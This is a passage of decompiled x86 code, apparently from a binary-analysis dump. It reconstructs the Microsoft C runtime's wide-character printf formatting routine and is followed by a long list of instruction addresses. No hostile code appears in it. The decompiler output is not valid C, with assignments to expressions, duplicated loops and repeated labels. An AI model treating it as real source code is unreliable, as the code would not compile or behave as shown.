																	__edx =  *(__ebp - 0x10) | 0x00000020;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																}
																goto L60;
															case 2:
																L73:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																}
																goto L75;
															case 3:
																L135:
																 *(__ebp - 0x460) = 7;
																goto L137;
															case 4:
																L66:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x470) = E00429820(__ebp + 0x14);
																__eflags =  *(__ebp - 0x470);
																if( *(__ebp - 0x470) == 0) {
																	L68:
																	__edx =  *0x44ba18; // 0x409128
																	 *(__ebp - 4) = __edx;
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																	L72:
																	goto L178;
																}
																L67:
																__ecx =  *(__ebp - 0x470);
																__eflags =  *(__ecx + 4);
																if( *(__ecx + 4) != 0) {
																	L69:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																	__eflags =  *(__ebp - 0x10) & 0x00000800;
																	if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																		 *(__ebp - 0xc) = 0;
																		__edx =  *(__ebp - 0x470);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x470);
																		__edx =  *__ecx;
																		 *(__ebp - 0x24) =  *__ecx;
																	} else {
																		__edx =  *(__ebp - 0x470);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x470);
																		__eax =  *__ecx;
																		asm("cdq");
																		 *__ecx - __edx =  *__ecx - __edx >> 1;
																		 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																		 *(__ebp - 0xc) = 1;
																	}
																	goto L72;
																}
																goto L68;
															case 5:
																L112:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																__edx = __ebp - 0x448;
																 *(__ebp - 4) = __ebp - 0x448;
																 *(__ebp - 0x44) = 0x200;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) >= 0) {
																	L114:
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) != 0) {
																		L117:
																		__eflags =  *(__ebp - 0x30) - 0x200;
																		if( *(__ebp - 0x30) > 0x200) {
																			 *(__ebp - 0x30) = 0x200;
																		}
																		L119:
																		__eflags =  *(__ebp - 0x30) - 0xa3;
																		if( *(__ebp - 0x30) > 0xa3) {
																			__ecx =  *(__ebp - 0x30);
																			__ecx =  *(__ebp - 0x30) + 0x15d;
																			 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																			__eflags =  *(__ebp - 0x20);
																			if( *(__ebp - 0x20) == 0) {
																				 *(__ebp - 0x30) = 0xa3;
																			} else {
																				__edx =  *(__ebp - 0x20);
																				 *(__ebp - 4) =  *(__ebp - 0x20);
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																			}
																		}
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		__edx =  *(__ebp + 0x14);
																		__eax =  *(__edx - 8);
																		__ecx =  *(__edx - 4);
																		 *(__ebp - 0x490) =  *(__edx - 8);
																		 *(__ebp - 0x48c) =  *(__edx - 4);
																		__ecx = __ebp - 0x40;
																		_push(E00423790(__ebp - 0x40));
																		__edx =  *(__ebp - 0x2c);
																		_push( *(__ebp - 0x2c));
																		__eax =  *(__ebp - 0x30);
																		_push( *(__ebp - 0x30));
																		__ecx =  *(__ebp - 0x454);
																		_push( *(__ebp - 0x454));
																		__edx =  *(__ebp - 0x44);
																		_push( *(__ebp - 0x44));
																		__eax =  *(__ebp - 4);
																		_push(__eax);
																		__ecx = __ebp - 0x490;
																		_push(__ebp - 0x490);
																		__edx =  *0x44ba08; // 0xae625e32
																		_push(__edx);
																		__imp__DecodePointer();
																		__eax =  *__eax();
																		__esp = __esp + 0x1c;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) == 0) {
																				__ecx = __ebp - 0x40;
																				__eax = E00423790(__ebp - 0x40);
																				_push(__eax);
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx =  *0x44ba14; // 0xae625e32
																				_push(__edx);
																				__imp__DecodePointer();
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E00423790(__ebp - 0x40));
																				__edx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__eax =  *0x44ba10; // 0xae625e32
																				_push(__eax);
																				__imp__DecodePointer();
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__ecx =  *(__ebp - 4);
																		__edx =  *( *(__ebp - 4));
																		__eflags =  *( *(__ebp - 4)) - 0x2d;
																		if( *( *(__ebp - 4)) == 0x2d) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			__ecx =  *(__ebp - 4);
																			__ecx =  *(__ebp - 4) + 1;
																			__eflags = __ecx;
																			 *(__ebp - 4) = __ecx;
																		}
																		__edx =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																		do {
																			L178:
																			__eflags =  *(_t641 - 0x28);
																			if( *(_t641 - 0x28) != 0) {
																				goto L203;
																			}
																			goto L179;
																		} while ( *(__ebp - 0x4dc) > 0x37);
																		goto L57;
																	}
																	L115:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																		goto L117;
																	}
																	L116:
																	 *(__ebp - 0x30) = 1;
																	goto L119;
																}
																L113:
																 *(__ebp - 0x30) = 6;
																goto L119;
															case 6:
																L60:
																 *(__ebp - 0xc) = 1;
																__ebp + 0x14 = E00429820(__ebp + 0x14);
																 *(__ebp - 0x458) = __ax;
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) & 0x00000020;
																__eflags = __ecx;
																if(__ecx == 0) {
																	 *(__ebp - 0x448) =  *(__ebp - 0x458);
																} else {
																	 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																	 *(__ebp - 0x46c) = __dl;
																	 *((char*)(__ebp - 0x46b)) = 0;
																	__ecx = __ebp - 0x40;
																	__eax = E00423790(__ebp - 0x40);
																	__ecx = __ebp - 0x40;
																	E00423790(__ebp - 0x40) =  *__eax;
																	__ecx =  *(__ebp - 0x448 + 0xac);
																	__edx = __ebp - 0x46c;
																	__eax = __ebp - 0x448;
																	__eax = E00439180(__ebp - 0x448, __ebp - 0x46c,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																	__eflags = __eax;
																	if(__eax < 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																}
																__edx = __ebp - 0x448;
																 *(__ebp - 4) = __ebp - 0x448;
																 *(__ebp - 0x24) = 1;
																while(1) {
																	L178:
																	__eflags =  *(_t641 - 0x28);
																	if( *(_t641 - 0x28) != 0) {
																		goto L203;
																	}
																	goto L179;
																}
															case 7:
																L132:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																L141:
																__eflags =  *(_t641 - 0x10) & 0x00008000;
																if(( *(_t641 - 0x10) & 0x00008000) == 0) {
																	_t591 =  *(_t641 - 0x10) & 0x00001000;
																	__eflags = _t591;
																	if(_t591 == 0) {
																		__eflags =  *(_t641 - 0x10) & 0x00000020;
																		if(( *(_t641 - 0x10) & 0x00000020) == 0) {
																			_t593 =  *(_t641 - 0x10) & 0x00000040;
																			__eflags = _t593;
																			if(_t593 == 0) {
																				_t463 = E00429820(_t641 + 0x14);
																				_t643 = _t643 + 4;
																				__eflags = 0;
																				 *(_t641 - 0x4a0) = _t463;
																				 *(_t641 - 0x49c) = 0;
																			} else {
																				_t527 = E00429820(_t641 + 0x14);
																				_t643 = _t643 + 4;
																				asm("cdq");
																				 *(_t641 - 0x4a0) = _t527;
																				 *(_t641 - 0x49c) = _t593;
																			}
																		} else {
																			_t638 =  *(_t641 - 0x10) & 0x00000040;
																			__eflags = _t638;
																			if(_t638 == 0) {
																				_t528 = E00429820(_t641 + 0x14);
																				_t643 = _t643 + 4;
																				asm("cdq");
																				 *(_t641 - 0x4a0) = _t528 & 0x0000ffff;
																				 *(_t641 - 0x49c) = _t638;
																			} else {
																				_t531 = E00429820(_t641 + 0x14);
																				_t643 = _t643 + 4;
																				asm("cdq");
																				 *(_t641 - 0x4a0) = _t531;
																				 *(_t641 - 0x49c) = _t638;
																			}
																		}
																	} else {
																		_t534 = E00429840(_t641 + 0x14);
																		_t643 = _t643 + 4;
																		 *(_t641 - 0x4a0) = _t534;
																		 *(_t641 - 0x49c) = _t591;
																	}
																} else {
																	_t535 = E00429840(_t641 + 0x14);
																	_t643 = _t643 + 4;
																	 *(_t641 - 0x4a0) = _t535;
																	 *(_t641 - 0x49c) = _t589;
																}
																__eflags =  *(_t641 - 0x10) & 0x00000040;
																if(( *(_t641 - 0x10) & 0x00000040) == 0) {
																	goto L158;
																}
															case 8:
																L97:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x480) = E00429820(__ebp + 0x14);
																__eax = E004390D0();
																__eflags = __eax;
																if(__eax != 0) {
																	L107:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		__ecx =  *(__ebp - 0x480);
																		__edx =  *(__ebp - 0x44c);
																		 *__ecx =  *(__ebp - 0x44c);
																	} else {
																		__edx =  *(__ebp - 0x480);
																		__ax =  *(__ebp - 0x44c);
																		 *( *(__ebp - 0x480)) = __ax;
																	}
																	 *(__ebp - 0x28) = 1;
																	while(1) {
																		L178:
																		__eflags =  *(_t641 - 0x28);
																		if( *(_t641 - 0x28) != 0) {
																			goto L203;
																		}
																		goto L179;
																	}
																}
																L98:
																__ecx = 0;
																__eflags = 0;
																if(0 == 0) {
																	 *(__ebp - 0x4e4) = 0;
																} else {
																	 *(__ebp - 0x4e4) = 1;
																}
																__edx =  *(__ebp - 0x4e4);
																 *(__ebp - 0x484) =  *(__ebp - 0x4e4);
																__eflags =  *(__ebp - 0x484);
																if( *(__ebp - 0x484) == 0) {
																	_push(L"(\"\'n\' format specifier disabled\", 0)");
																	_push(0);
																	_push(0x695);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	__eax = L00427590();
																	__esp = __esp + 0x14;
																	__eflags = __eax - 1;
																	if(__eax == 1) {
																		asm("int3");
																	}
																}
																__eflags =  *(__ebp - 0x484);
																if( *(__ebp - 0x484) != 0) {
																	L106:
																	while(1) {
																		L178:
																		__eflags =  *(_t641 - 0x28);
																		if( *(_t641 - 0x28) != 0) {
																			goto L203;
																		}
																		goto L179;
																	}
																} else {
																	L105:
																	 *((intOrPtr*)(L004256E0(__ecx))) = 0x16;
																	__eax = E00428500(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																	 *(__ebp - 0x4c4) = 0xffffffff;
																	__ecx = __ebp - 0x40;
																	__eax = E00423760(__ecx);
																	__eax =  *(__ebp - 0x4c4);
																	L207:
																	__eflags =  *(_t641 - 0x48) ^ _t641;
																	return E00425740(_t482, _t536,  *(_t641 - 0x48) ^ _t641, _t610, _t639, _t640);
																}
															case 9:
																goto L0;
															case 0xa:
																L134:
																 *(__ebp - 0x30) = 8;
																goto L135;
															case 0xb:
																L75:
																__eflags =  *(__ebp - 0x30) - 0xffffffff;
																if( *(__ebp - 0x30) != 0xffffffff) {
																	__edx =  *(__ebp - 0x30);
																	 *(__ebp - 0x4e0) =  *(__ebp - 0x30);
																} else {
																	 *(__ebp - 0x4e0) = 0x7fffffff;
																}
																__eax =  *(__ebp - 0x4e0);
																 *(__ebp - 0x478) =  *(__ebp - 0x4e0);
																__ecx = __ebp + 0x14;
																 *(__ebp - 4) = E00429820(__ebp + 0x14);
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																__eflags =  *(__ebp - 0x10) & 0x00000020;
																if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																	L89:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__ecx =  *0x44ba1c; // 0x409118
																		 *(__ebp - 4) = __ecx;
																	}
																	 *(__ebp - 0xc) = 1;
																	__edx =  *(__ebp - 4);
																	 *(__ebp - 0x47c) =  *(__ebp - 4);
																	while(1) {
																		L92:
																		__eax =  *(__ebp - 0x478);
																		__ecx =  *(__ebp - 0x478);
																		__ecx =  *(__ebp - 0x478) - 1;
																		 *(__ebp - 0x478) = __ecx;
																		__eflags =  *(__ebp - 0x478);
																		if( *(__ebp - 0x478) == 0) {
																			break;
																		}
																		L93:
																		__edx =  *(__ebp - 0x47c);
																		__eax =  *( *(__ebp - 0x47c)) & 0x0000ffff;
																		__eflags =  *( *(__ebp - 0x47c)) & 0x0000ffff;
																		if(( *( *(__ebp - 0x47c)) & 0x0000ffff) == 0) {
																			break;
																		}
																		L94:
																		 *(__ebp - 0x47c) =  *(__ebp - 0x47c) + 2;
																		 *(__ebp - 0x47c) =  *(__ebp - 0x47c) + 2;
																	}
																	L95:
																	__edx =  *(__ebp - 0x47c);
																	__edx =  *(__ebp - 0x47c) -  *(__ebp - 4);
																	__eflags = __edx;
																	 *(__ebp - 0x24) = __edx;
																	goto L96;
																} else {
																	L79:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__eax =  *0x44ba18; // 0x409128
																		 *(__ebp - 4) = __eax;
																	}
																	__ecx =  *(__ebp - 4);
																	 *(__ebp - 0x474) = __ecx;
																	 *(__ebp - 0x24) = 0;
																	while(1) {
																		L83:
																		__eax =  *(__ebp - 0x24);
																		__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x478);
																		if( *(__ebp - 0x24) >=  *(__ebp - 0x478)) {
																			break;
																		}
																		L84:
																		__ecx =  *(__ebp - 0x474);
																		__edx =  *__ecx;
																		__eflags =  *__ecx;
																		if( *__ecx == 0) {
																			break;
																		}
																		L85:
																		__ecx = __ebp - 0x40;
																		E00423790(__ebp - 0x40) =  *(__ebp - 0x474);
																		__ecx =  *( *(__ebp - 0x474)) & 0x000000ff;
																		__eax = E00439110( *( *(__ebp - 0x474)) & 0x000000ff,  *(__ebp - 0x474));
																		__eflags = __eax;
																		if(__eax != 0) {
																			__edx =  *(__ebp - 0x474);
																			__edx =  *(__ebp - 0x474) + 1;
																			__eflags = __edx;
																			 *(__ebp - 0x474) = __edx;
																		}
																		 *(__ebp - 0x474) =  *(__ebp - 0x474) + 1;
																		 *(__ebp - 0x474) =  *(__ebp - 0x474) + 1;
																		__edx =  *(__ebp - 0x24);
																		__edx =  *(__ebp - 0x24) + 1;
																		__eflags = __edx;
																		 *(__ebp - 0x24) = __edx;
																	}
																	L88:
																	L96:
																	while(1) {
																		L178:
																		__eflags =  *(_t641 - 0x28);
																		if( *(_t641 - 0x28) != 0) {
																			goto L203;
																		}
																		goto L179;
																	}
																}
															case 0xc:
																L133:
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																while(1) {
																	L141:
																	__eflags =  *(_t641 - 0x10) & 0x00008000;
																	if(( *(_t641 - 0x10) & 0x00008000) == 0) {
																		_t591 =  *(_t641 - 0x10) & 0x00001000;
																		__eflags = _t591;
																		if(_t591 == 0) {
																			__eflags =  *(_t641 - 0x10) & 0x00000020;
																			if(( *(_t641 - 0x10) & 0x00000020) == 0) {
																				_t593 =  *(_t641 - 0x10) & 0x00000040;
																				__eflags = _t593;
																				if(_t593 == 0) {
																					_t463 = E00429820(_t641 + 0x14);
																					_t643 = _t643 + 4;
																					__eflags = 0;
																					 *(_t641 - 0x4a0) = _t463;
																					 *(_t641 - 0x49c) = 0;
																				} else {
																					_t527 = E00429820(_t641 + 0x14);
																					_t643 = _t643 + 4;
																					asm("cdq");
																					 *(_t641 - 0x4a0) = _t527;
																					 *(_t641 - 0x49c) = _t593;
																				}
																			} else {
																				_t638 =  *(_t641 - 0x10) & 0x00000040;
																				__eflags = _t638;
																				if(_t638 == 0) {
																					_t528 = E00429820(_t641 + 0x14);
																					_t643 = _t643 + 4;
																					asm("cdq");
																					 *(_t641 - 0x4a0) = _t528 & 0x0000ffff;
																					 *(_t641 - 0x49c) = _t638;
																				} else {
																					_t531 = E00429820(_t641 + 0x14);
																					_t643 = _t643 + 4;
																					asm("cdq");
																					 *(_t641 - 0x4a0) = _t531;
																					 *(_t641 - 0x49c) = _t638;
																				}
																			}
																		} else {
																			_t534 = E00429840(_t641 + 0x14);
																			_t643 = _t643 + 4;
																			 *(_t641 - 0x4a0) = _t534;
																			 *(_t641 - 0x49c) = _t591;
																		}
																	} else {
																		_t535 = E00429840(_t641 + 0x14);
																		_t643 = _t643 + 4;
																		 *(_t641 - 0x4a0) = _t535;
																		 *(_t641 - 0x49c) = _t589;
																	}
																	__eflags =  *(_t641 - 0x10) & 0x00000040;
																	if(( *(_t641 - 0x10) & 0x00000040) == 0) {
																		goto L158;
																	}
																	goto L154;
																}
															case 0xd:
																L136:
																 *(__ebp - 0x460) = 0x27;
																L137:
																 *((intOrPtr*)(__ebp - 8)) = 0x10;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																	__edx = 0x30;
																	 *((short*)(__ebp - 0x14)) = __dx;
																	 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																	__eflags =  *(__ebp - 0x460) + 0x51;
																	 *(__ebp - 0x12) = __ax;
																	 *(__ebp - 0x1c) = 2;
																}
																while(1) {
																	L141:
																	__eflags =  *(_t641 - 0x10) & 0x00008000;
																	if(( *(_t641 - 0x10) & 0x00008000) == 0) {
																		_t591 =  *(_t641 - 0x10) & 0x00001000;
																		__eflags = _t591;
																		if(_t591 == 0) {
																			__eflags =  *(_t641 - 0x10) & 0x00000020;
																			if(( *(_t641 - 0x10) & 0x00000020) == 0) {
																				_t593 =  *(_t641 - 0x10) & 0x00000040;
																				__eflags = _t593;
																				if(_t593 == 0) {
																					_t463 = E00429820(_t641 + 0x14);
																					_t643 = _t643 + 4;
																					__eflags = 0;
																					 *(_t641 - 0x4a0) = _t463;
																					 *(_t641 - 0x49c) = 0;
																				} else {
																					_t527 = E00429820(_t641 + 0x14);
																					_t643 = _t643 + 4;
																					asm("cdq");
																					 *(_t641 - 0x4a0) = _t527;
																					 *(_t641 - 0x49c) = _t593;
																				}
																			} else {
																				_t638 =  *(_t641 - 0x10) & 0x00000040;
																				__eflags = _t638;
																				if(_t638 == 0) {
																					_t528 = E00429820(_t641 + 0x14);
																					_t643 = _t643 + 4;
																					asm("cdq");
																					 *(_t641 - 0x4a0) = _t528 & 0x0000ffff;
																					 *(_t641 - 0x49c) = _t638;
																				} else {
																					_t531 = E00429820(_t641 + 0x14);
																					_t643 = _t643 + 4;
																					asm("cdq");
																					 *(_t641 - 0x4a0) = _t531;
																					 *(_t641 - 0x49c) = _t638;
																				}
																			}
																		} else {
																			_t534 = E00429840(_t641 + 0x14);
																			_t643 = _t643 + 4;
																			 *(_t641 - 0x4a0) = _t534;
																			 *(_t641 - 0x49c) = _t591;
																		}
																	} else {
																		_t535 = E00429840(_t641 + 0x14);
																		_t643 = _t643 + 4;
																		 *(_t641 - 0x4a0) = _t535;
																		 *(_t641 - 0x49c) = _t589;
																	}
																	__eflags =  *(_t641 - 0x10) & 0x00000040;
																	if(( *(_t641 - 0x10) & 0x00000040) == 0) {
																		goto L158;
																	}
																	goto L154;
																}
															case 0xe:
																while(1) {
																	L178:
																	__eflags =  *(_t641 - 0x28);
																	if( *(_t641 - 0x28) != 0) {
																		goto L203;
																	}
																	goto L179;
																}
														}
													case 8:
														L15:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000002;
														 *(__ebp - 0x10) = __ecx;
														goto L18;
													case 9:
														L16:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														goto L18;
													case 0xa:
														L14:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
														goto L18;
													case 0xb:
														L13:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														goto L18;
													case 0xc:
														L17:
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000008;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
														goto L18;
													case 0xd:
														L18:
														goto L205;
												}
											}
											L206:
											 *(_t641 - 0x4c8) =  *(_t641 - 0x44c);
											E00423760(_t641 - 0x40);
											_t482 =  *(_t641 - 0x4c8);
											goto L207;
										}
									}
									L175:
									__eflags =  *(_t641 - 0x24);
									if( *(_t641 - 0x24) == 0) {
										L177:
										 *((intOrPtr*)(_t641 - 4)) =  *((intOrPtr*)(_t641 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t641 - 4)))) = 0x30;
										_t581 =  *(_t641 - 0x24) + 1;
										__eflags = _t581;
										 *(_t641 - 0x24) = _t581;
										goto L178;
									}
									L176:
									__eflags =  *((char*)( *((intOrPtr*)(_t641 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t641 - 4)))) == 0x30) {
										goto L178;
									}
									goto L177;
								}
								L171:
								asm("cdq");
								_t600 =  *(_t641 - 0x4a8);
								 *(_t641 - 0x494) = E00437DD0(_t600,  *(_t641 - 0x4a4),  *(_t641 - 8), _t599) + 0x30;
								asm("cdq");
								 *(_t641 - 0x4a8) = E00437D60( *(_t641 - 0x4a8),  *(_t641 - 0x4a4),  *(_t641 - 8), _t600);
								 *(_t641 - 0x4a4) = _t600;
								__eflags =  *(_t641 - 0x494) - 0x39;
								if( *(_t641 - 0x494) > 0x39) {
									_t604 =  *(_t641 - 0x494) +  *((intOrPtr*)(_t641 - 0x460));
									__eflags = _t604;
									 *(_t641 - 0x494) = _t604;
								}
								 *((char*)( *((intOrPtr*)(_t641 - 4)))) =  *(_t641 - 0x494);
								 *((intOrPtr*)(_t641 - 4)) =  *((intOrPtr*)(_t641 - 4)) - 1;
								L169:
								_t599 =  *(_t641 - 0x30) - 1;
								 *(_t641 - 0x30) =  *(_t641 - 0x30) - 1;
								__eflags =  *(_t641 - 0x30);
								if( *(_t641 - 0x30) > 0) {
									goto L171;
								}
								goto L170;
							}
						}
						L156:
						__eflags =  *(_t641 - 0x4a0);
						if( *(_t641 - 0x4a0) >= 0) {
							goto L158;
						}
						goto L157;
						L158:
						 *(_t641 - 0x4a8) =  *(_t641 - 0x4a0);
						 *(_t641 - 0x4a4) =  *(_t641 - 0x49c);
						goto L159;
					}
				}
			}

0x0042919f
0x0042919f
0x0042919f
0x0042919f
0x004291af
0x004291b1
0x004291b4
0x004291b4
0x004291ba
0x004291ba
0x004291bd
0x004291bd
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x0042927d
0x00429282
0x00429285
0x00429287
0x0042928d
0x0042925e
0x00429262
0x00429267
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x0042923c
0x00429241
0x00429247
0x00429248
0x0042924e
0x0042921c
0x00429220
0x00429225
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291f3
0x004291f8
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291cb
0x004291d0
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429299
0x00000000
0x00000000
0x0042929b
0x0042929b
0x004292a2
0x00000000
0x00000000
0x004292a4
0x004292a4
0x004292af
0x004292bd
0x004292c2
0x004292c8
0x004292d6
0x004292f3
0x004292f6
0x004292fb
0x00429300
0x00429306
0x00429314
0x00429314
0x0042931d
0x0042931d
0x00429306
0x00429323
0x00429327
0x00429338
0x0042933b
0x00429342
0x00429344
0x00429344
0x00429329
0x00429329
0x00429329
0x00429351
0x00429357
0x00429359
0x00429359
0x00429366
0x00429369
0x00429369
0x0042936f
0x00429372
0x00429375
0x00429377
0x00000000
0x00000000
0x00429379
0x0042937f
0x00429385
0x00429402
0x0042940b
0x00429414
0x0042941a
0x00429420
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00429455
0x00429458
0x0042945b
0x00429460
0x00429465
0x0042947c
0x0042947f
0x00429496
0x00429499
0x004294a0
0x004294a4
0x004294a4
0x00429481
0x00429486
0x0042948a
0x0042948a
0x00429467
0x0042946c
0x00429470
0x00429470
0x00429465
0x004294b4
0x004294bd
0x004294c0
0x004294d6
0x004294db
0x004294db
0x004294f1
0x004294f6
0x004294fc
0x004294ff
0x00429504
0x00429507
0x0042951d
0x00429522
0x00429522
0x00429507
0x00429525
0x00429529
0x004295e3
0x004295f6
0x004295fb
0x00000000
0x0042952f
0x0042952f
0x0042952f
0x00429533
0x00000000
0x00000000
0x00429539
0x0042953c
0x00429545
0x0042954b
0x0042954b
0x0042955a
0x00429560
0x00429562
0x00000000
0x00000000
0x00429564
0x00429567
0x0042958c
0x00429591
0x00429594
0x0042959a
0x004295a1
0x004295af
0x004295c2
0x004295c7
0x004295d6
0x00000000
0x004295d6
0x004295a3
0x004295a3
0x00000000
0x004295a3
0x004295e1
0x004295fe
0x004295fe
0x00429605
0x0042960a
0x0042960d
0x00429623
0x00429628
0x00429628
0x0042960d
0x00429605
0x0042962b
0x0042962b
0x0042962f
0x00429637
0x0042963c
0x0042963f
0x0042963f
0x00429646
0x00429646
0x0042887b
0x0042888f
0x00428894
0x00000000
0x004288a7
0x004288b1
0x004288d8
0x004288bf
0x004288d0
0x004288d0
0x004288b1
0x004288e2
0x004288e8
0x004288fa
0x00428905
0x00428911
0x0042891e
0x00000000
0x00000000
0x00428924
0x0042892a
0x00000000
0x00428931
0x00428931
0x0042894b
0x00428950
0x00000000
0x00000000
0x00428958
0x00428958
0x0042895f
0x00428962
0x00428965
0x00428968
0x0042896b
0x0042896e
0x00428971
0x00428978
0x0042897f
0x00000000
0x00000000
0x0042898b
0x0042898b
0x00428992
0x0042899e
0x004289a1
0x004289a7
0x004289ae
0x00000000
0x00000000
0x004289b0
0x004289b6
0x004289b6
0x004289bd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00428a01
0x00428a01
0x00428a08
0x00428a0b
0x00428a35
0x00428a38
0x00428a38
0x00428a42
0x00428a42
0x00428a46
0x00428a0d
0x00428a0d
0x00428a19
0x00428a1c
0x00428a20
0x00428a22
0x00428a25
0x00428a25
0x00428a28
0x00428a2b
0x00428a2e
0x00428a30
0x00428a30
0x00428a33
0x00428a49
0x00000000
0x00000000
0x00428a4e
0x00428a4e
0x00000000
0x00000000
0x00428a5a
0x00428a5a
0x00428a61
0x00428a64
0x00428a84
0x00428a87
0x00428a87
0x00428a91
0x00428a91
0x00428a95
0x00428a66
0x00428a66
0x00428a72
0x00428a75
0x00428a79
0x00428a7b
0x00428a7b
0x00428a82
0x00428a98
0x00000000
0x00000000
0x00428a9d
0x00428a9d
0x00428aa4
0x00428ab0
0x00428ab3
0x00428ab9
0x00428ac0
0x00428bd3
0x00000000
0x00428bd3
0x00428ac6
0x00428acc
0x00428acc
0x00428ad3
0x00000000
0x00428b0a
0x00428b0a
0x00428b0d
0x00428b10
0x00428b13
0x00428b3a
0x00428b3a
0x00428b3d
0x00428b40
0x00428b43
0x00428b67
0x00428b67
0x00428b6a
0x00428b6d
0x00428b70
0x00428ba9
0x00428bba
0x00000000
0x00428bba
0x00428b72
0x00428b72
0x00428b75
0x00428b78
0x00428b7b
0x00000000
0x00000000
0x00428b7d
0x00428b7d
0x00428b80
0x00428b83
0x00428b86
0x00000000
0x00000000
